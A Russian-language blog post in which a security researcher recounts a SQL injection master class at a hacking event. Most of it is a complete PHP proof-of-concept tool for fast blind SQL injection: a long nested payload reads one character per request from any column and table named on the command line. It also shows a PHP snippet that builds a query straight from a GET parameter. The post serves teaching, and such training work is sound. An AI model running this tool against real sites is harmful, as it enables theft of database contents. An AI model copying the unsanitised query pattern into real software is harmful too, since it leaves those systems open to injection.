Собрав оставшиеся силы джедая после недельного
пентеста в славном городе Кив, и после недолгой остановки в Москве на 8-9 часов, переместился я в культурную столицу нашей необъятной родины - Санкт-Петербург. В минувшие выходные в нем проходило мероприятие с громким названием "
Hackday #2 ".
На мероприятии уже ближе к вечеру я провел мастер-класс по теме "
Внедрение операторов SQL ". "Велосипед" на этот раз не выдумывал (а его от меня там и не требовали), а просто
воспользовался наработками , которые в свое время готовились для института
МИФИ . Собственно, материалы мастер-класса, который по времени уместился в один час, представлены ниже.
name='more'>
PT Hackday#2 View more
presentations from
Dmitry Evteev .
PT Hackday#2 View more
documents from
Dmitry Evteev .Виртуальная машина использовалась
прежняя , но с небольшими изменениями в контексте blind SQL Injection. Внесенные изменения позволили продемонстрировать быструю технику эксплуатации слепых SQL-инъекций подбора одного символа в один запрос. Это возможно, если приложение использует приблизительно такой синтаксис:
... $query="SELECT key FROM table where id=".$_GET['id'];
$result=mysql_query($query);
if(mysql_num_rows($result))
{
$key=mysql_fetch_array($result);
$query="SELECT data FROM table where key=".ceil($key[0]);
$result=mysql_query($query);
...
Так, сопоставив возможные значения параметра id, передаваемого приложению, в данном случае методом GET, с самим контентом и наложив их на карту подбираемых символов становится возможным очень эффективно и за один запрос считывать данные из таблицы и/или файла, если существуют необходимые привилегии.
Proof of concept, реализующий эту идею:
<?php
/*
Fast blind SQL Injection proof of concept by Dmitry Evteev [devteev@ptsecurity.ru]
*/
$error_pattern = "/>error</";
$context_arr = array(
'/>news1</' => 'A',
'/>news2</' => 'B',
'/>news3</' => 'C',
'/>news4</' => 'D',
'/>news5</' => 'E',
'/>news6</' => 'F',
'/>news7</' => 'G',
'/>news8</' => 'H',
'/>news9</' => 'I',
'/>news10</' => 'J',
'/>news11</' => 'K',
'/>news12</' => 'L',
'/>news13</' => 'M',
'/>news14</' => 'N',
'/>news15</' => 'O',
'/>news16</' => 'P',
'/>news17</' => 'Q',
'/>news18</' => 'R',
'/>news19</' => 'S',
'/>news20</' => 'T',
'/>news21</' => 'U',
'/>news22</' => 'V',
'/>news23</' => 'W',
'/>news24</' => 'X',
'/>news25</' => 'Y',
'/>news26</' => 'Z',
'/>news27</' => 'a',
'/>news28</' => 'b',
'/>news29</' => 'c',
'/>news30</' => 'd',
'/>news31</' => 'e',
'/>news32</' => 'f',
'/>news33</' => 'g',
'/>news34</' => 'h',
'/>news35</' => 'i',
'/>news36</' => 'j',
'/>news37</' => 'k',
'/>news38</' => 'l',
'/>news39</' => 'm',
'/>news40</' => 'n',
'/>news41</' => 'o',
'/>news42</' => 'p',
'/>news43</' => 'q',
'/>news44</' => 'r',
'/>news45</' => 's',
'/>news46</' => 't',
'/>news47</' => 'u',
'/>news48</' => 'v',
'/>news49</' => 'w',
'/>news50</' => 'x',
'/>news51</' => 'y',
'/>news52</' => 'z',
'/>news53</' => '0',
'/>news54</' => '1',
'/>news55</' => '2',
'/>news56</' => '3',
'/>news57</' => '4',
'/>news58</' => '5',
'/>news59</' => '6',
'/>news60</' => '7',
'/>news61</' => '8',
'/>news62</' => '9',
'/>news63</' => '!',
'/>news64</' => '"',
'/>news65</' => '#',
'/>news66</' => '$',
'/>news67</' => '%',
'/>news68</' => '&',
'/>news69</' => '(',
'/>news70</' => ')',
'/>news71</' => '*',
'/>news72</' => '+',
'/>news73</' => ',',
'/>news74</' => '-',
'/>news75</' => '.',
'/>news76</' => '/',
'/>news77</' => '@',
'/>news78</' => '',
'/>news79</' => '^',
'/>news80</' => '_',
'/>news81</' => '{',
'/>news82</' => '|',
'/>news83</' => '}',
'/>news84</' => '~',
'/>news85</' => ':',
'/>news86</' => ';',
'/>news87</' => '<',
'/>news88</' => '>',
'/>news89</' => '?',
'/>news90</' => '[',
'/>news91</' => ']',
'/>news92</' => ' '
);
function http_connect($query)
{
global $server;
global $context_arr;
global $error_pattern;
$ch = curl_init($server.$query);
curl_setopt($ch, CURLOPT_RETURNTRANSFER, 1);
try {
$response = curl_exec($ch);
curl_close($ch);
if(!preg_match($error_pattern,$response))
{
foreach ($context_arr as $pattern => $sumbol)
{
if(preg_match($pattern,$response))
{
return $sumbol;
}
}
}
return -1;
} catch (HttpException $exception) {
print "[-] Not connected";
exit(0);
}
}
function brute($column,$table,$lim)
{
$ret_str = "";
for ($i=1;$i<43;$i++)
{
$q = "if((ord(mid((select/**/$column/**/from/**/$table/**/limit/**/$lim,1),$i,1))=65),(500),if((ord(mid((select/**/$column/**/from/**/$table/**/limit/**/$lim,1),$i,1))=66),(501),if((ord(mid((select/**/$column/**/from/**/$table/**/limit/**/$lim,1),$i,1))=67),(502),if((ord(mid((select/**/$column/**/from/**/$table/**/limit/**/$lim,1),$i,1))=68),(503),if((ord(mid((select/**/$column/**/from/**/$table/**/limit/**/$lim,1),$i,1))=69),(504),if((ord(mid((select/**/$column/**/from/**/$table/**/limit/**/$lim,1),$i,1))=70),(505),if((ord(mid((select/**/$column/**/from/**/$table/**/limit/**/$lim,1),$i,1))=71),(506),if((ord(mid((select/**/$column/**/from/**/$table/**/limit/**/$lim,1),$i,1))=72),(507),if((ord(mid((select/**/$column/**/from/**/$table/**/limit/**/$lim,1),$i,1))=73),(508),if((ord(mid((select/**/$column/**/from/**/$table/**/limit/**/$lim,1),$i,1))=74),(509),if((ord(mid((select/**/$column/**/from/**/$table/**/limit/**/$lim,1),$i,1))=75),(510),if((ord(mid((select/**/$column/**/from/**/$table/**/limit/**/$lim,1),$i,1))=76),(511),if((ord(mid((select/**/$column/**/from/**/$table/**/limit/**/$lim,1),$i,1))=77),(512),if((ord(mid((select/**/$column/**/from/**/$table/**/limit/**/$lim,1),$i,1))=78),(513),if((ord(mid((select/**/$column/**/from/**/$table/**/limit/**/$lim,1),$i,1))=79),(514),if((ord(mid((select/**/$column/**/from/**/$table/**/limit/**/$lim,1),$i,1))=80),(515),if((ord(mid((select/**/$column/**/from/**/$table/**/limit/**/$lim,1),$i,1))=81),(516),if((ord(mid((select/**/$column/**/from/**/$table/**/limit/**/$lim,1),$i,1))=82),(517),if((ord(mid((select/**/$column/**/from/**/$table/**/limit/**/$lim,1),$i,1))=83),(518),if((ord(mid((select/**/$column/**/from/**/$table/**/limit/**/$lim,1),$i,1))=84),(519),if((ord(mid((select/**/$column/**/from/**/$table/**/limit/**/$lim,1),$i,1))=85),(520),if((ord(mid((select/**/$column/**/from/**/$table/**/limit/**/$lim,1),$i,1))=86),(521),if((ord(mid((select/**/$column/**/from/**/$table/**/limit/**/$lim,1),$i,1))=87),(522),if((ord(mid((select/**/$column/**/from/**/$table/**/limit/**/$lim,1),$i,1))=88),(523),if((ord(mid((select/**/$column/**/from/**/$table/**/limit/**/$lim,1),$i,1))=89),(524),if((ord(mid((select/**/$column/**/from/**/$table/**/limit/**/$lim,1),$i,1))=90),(525),if((ord(mid((select/**/$column/**/from/**/$table/**/limit/**/$lim,1),$i,1))=97),(526),if((ord(mid((select/**/$column/**/from/**/$table/**/limit/**/$lim,1),$i,1))=98),(527),if((ord(mid((select/**/$column/**/from/**/$table/**/limit/**/$lim,1),$i,1))=99),(528),if((ord(mid((select/**/$column/**/from/**/$table/**/limit/**/$lim,1),$i,1))=100),(529),if((ord(mid((select/**/$column/**/from/**/$table/**/limit/**/$lim,1),$i,1))=101),(530),if((ord(mid((select/**/$column/**/from/**/$table/**/limit/**/$lim,1),$i,1))=102),(531),if((ord(mid((select/**/$column/**/from/**/$table/**/limit/**/$lim,1),$i,1))=103),(532),if((ord(mid((select/**/$column/**/from/**/$table/**/limit/**/$lim,1),$i,1))=104),(533),if((ord(mid((select/**/$column/**/from/**/$table/**/limit/**/$lim,1),$i,1))=105),(534),if((ord(mid((select/**/$column/**/from/**/$table/**/limit/**/$lim,1),$i,1))=106),(535),if((ord(mid((select/**/$column/**/from/**/$table/**/limit/**/$lim,1),$i,1))=107),(536),if((ord(mid((select/**/$column/**/from/**/$table/**/limit/**/$lim,1),$i,1))=108),(537),if((ord(mid((select/**/$column/**/from/**/$table/**/limit/**/$lim,1),$i,1))=109),(538),if((ord(mid((select/**/$column/**/from/**/$table/**/limit/**/$lim,1),$i,1))=110),(539),if((ord(mid((select/**/$column/**/from/**/$table/**/limit/**/$lim,1),$i,1))=111),(540),if((ord(mid((select/**/$column/**/from/**/$table/**/limit/**/$lim,1),$i,1))=112),(541),if((ord(mid((select/**/$column/**/from/**/$table/**/limit/**/$lim,1),$i,1))=113),(542),if((ord(mid((select/**/$column/**/from/**/$table/**/limit/**/$lim,1),$i,1))=114),(543),if((ord(mid((select/**/$column/**/from/**/$table/**/limit/**/$lim,1),$i,1))=115),(544),if((ord(mid((select/**/$column/**/from/**/$table/**/limit/**/$lim,1),$i,1))=116),(545),if((ord(mid((select/**/$column/**/from/**/$table/**/limit/**/$lim,1),$i,1))=117),(546),if((ord(mid((select/**/$column/**/from/**/$table/**/limit/**/$lim,1),$i,1))=118),(547),if((ord(mid((select/**/$column/**/from/**/$table/**/limit/**/$lim,1),$i,1))=119),(548),if((ord(mid((select/**/$column/**/from/**/$table/**/limit/**/$lim,1),$i,1))=120),(549),if((ord(mid((select/**/$column/**/from/**/$table/**/limit/**/$lim,1),$i,1))=121),(550),if((ord(mid((select/**/$column/**/from/**/$table/**/limit/**/$lim,1),$i,1))=122),(551),if((ord(mid((select/**/$column/**/from/**/$table/**/limit/**/$lim,1),$i,1))=48),(552),if((ord(mid((select/**/$column/**/from/**/$table/**/limit/**/$lim,1),$i,1))=49),(553),if((ord(mid((select/**/$column/**/from/**/$table/**/limit/**/$lim,1),$i,1))=50),(554),if((ord(mid((select/**/$column/**/from/**/$table/**/limit/**/$lim,1),$i,1))=51),(555),if((ord(mid((select/**/$column/**/from/**/$table/**/limit/**/$lim,1),$i,1))=52),(556),if((ord(mid((select/**/$column/**/from/**/$table/**/limit/**/$lim,1),$i,1))=53),(557),if((ord(mid((select/**/$column/**/from/**/$table/**/limit/**/$lim,1),$i,1))=54),(558),if((ord(mid((select/**/$column/**/from/**/$table/**/limit/**/$lim,1),$i,1))=55),(559),if((ord(mid((select/**/$column/**/from/**/$table/**/limit/**/$lim,1),$i,1))=56),(560),if((ord(mid((select/**/$column/**/from/**/$table/**/limit/**/$lim,1),$i,1))=57),(561),if((ord(mid((select/**/$column/**/from/**/$table/**/limit/**/$lim,1),$i,1))=33),(562),if((ord(mid((select/**/$column/**/from/**/$table/**/limit/**/$lim,1),$i,1))=34),(563),if((ord(mid((select/**/$column/**/from/**/$table/**/limit/**/$lim,1),$i,1))=35),(564),if((ord(mid((select/**/$column/**/from/**/$table/**/limit/**/$lim,1),$i,1))=36),(565),if((ord(mid((select/**/$column/**/from/**/$table/**/limit/**/$lim,1),$i,1))=37),(566),if((ord(mid((select/**/$column/**/from/**/$table/**/limit/**/$lim,1),$i,1))=38),(567),if((ord(mid((select/**/$column/**/from/**/$table/**/limit/**/$lim,1),$i,1))=40),(568),if((ord(mid((select/**/$column/**/from/**/$table/**/limit/**/$lim,1),$i,1))=41),(569),if((ord(mid((select/**/$column/**/from/**/$table/**/limit/**/$lim,1),$i,1))=42),(570),if((ord(mid((select/**/$column/**/from/**/$table/**/limit/**/$lim,1),$i,1))=43),(571),if((ord(mid((select/**/$column/**/from/**/$table/**/limit/**/$lim,1),$i,1))=44),(572),if((ord(mid((select/**/$column/**/from/**/$table/**/limit/**/$lim,1),$i,1))=45),(573),if((ord(mid((select/**/$column/**/from/**/$table/**/limit/**/$lim,1),$i,1))=46),(574),if((ord(mid((select/**/$column/**/from/**/$table/**/limit/**/$lim,1),$i,1))=47),(575),if((ord(mid((select/**/$column/**/from/**/$table/**/limit/**/$lim,1),$i,1))=64),(576),if((ord(mid((select/**/$column/**/from/**/$table/**/limit/**/$lim,1),$i,1))=92),(577),if((ord(mid((select/**/$column/**/from/**/$table/**/limit/**/$lim,1),$i,1))=94),(578),if((ord(mid((select/**/$column/**/from/**/$table/**/limit/**/$lim,1),$i,1))=95),(579),if((ord(mid((select/**/$column/**/from/**/$table/**/limit/**/$lim,1),$i,1))=123),(580),if((ord(mid((select/**/$column/**/from/**/$table/**/limit/**/$lim,1),$i,1))=124),(581),if((ord(mid((select/**/$column/**/from/**/$table/**/limit/**/$lim,1),$i,1))=125),(582),if((ord(mid((select/**/$column/**/from/**/$table/**/limit/**/$lim,1),$i,1))=126),(583),if((ord(mid((select/**/$column/**/from/**/$table/**/limit/**/$lim,1),$i,1))=58),(584),if((ord(mid((select/**/$column/**/from/**/$table/**/limit/**/$lim,1),$i,1))=59),(585),if((ord(mid((select/**/$column/**/from/**/$table/**/limit/**/$lim,1),$i,1))=60),(586),if((ord(mid((select/**/$column/**/from/**/$table/**/limit/**/$lim,1),$i,1))=62),(587),if((ord(mid((select/**/$column/**/from/**/$table/**/limit/**/$lim,1),$i,1))=63),(588),if((ord(mid((select/**/$column/**/from/**/$table/**/limit/**/$lim,1),$i,1))=91),(589),if((ord(mid((select/**/$column/**/from/**/$table/**/limit/**/$lim,1),$i,1))=93),(590),if((ord(mid((select/**/$column/**/from/**/$table/**/limit/**/$lim,1),$i,1))=32),(591),null))))))))))))))))))))))))))))))))))))))))))))))))))))))))))))))))))))))))))))))))))))))))))))--";
$r=http_connect($q);
if ($r!=-1)
{
$ret_str=$ret_str.$r;
print ".";
}
else
{
return $ret_str;
}
}
return $ret_str;
}
function help_argc($script_name)
{
print "
usage:
./".$script_name." -s=http://host/?param= -c=column -t=table -l=line
";
}
function successfully($str)
{
print "
[+] Bruteforce is finished
[+] Line - $str
";
}
if (($argc < 4) || in_array($argv[1], array('--help', '-help', '-h', '-?')))
{
help_argc($argv[0]);
exit(0);
}
else
{
$ARG = array();
foreach ($argv as $arg) {
if (strpos($arg, '-') === 0) {
$key = substr($arg,1,1);
if (!isset($ARG[$key])) $ARG[$key] = substr($arg,3,strlen($arg));
}
}
if ($ARG[s] && $ARG[l] && $ARG[c] && $ARG[t])
{
$server = $ARG[s];
$lim = intval($ARG[l]);
$lim--;
$column = $ARG[c];
$table = $ARG[t];
print "[+] Initiated bruteforce
";
$r = brute($column,$table,$lim);
successfully($r);
}
else
{
help_argc($argv[0]);
exit(0);
}
}
?>
Думаю по коду все становится прозрачно, потому комментировать не стану. Для демонстрации в старой среде просто были добавлены новые данные:
И т.д. Таким образом, было осуществлено сопоставление данных и возможность демонстрации быстрой техники эксплуатации blind SQL Injection.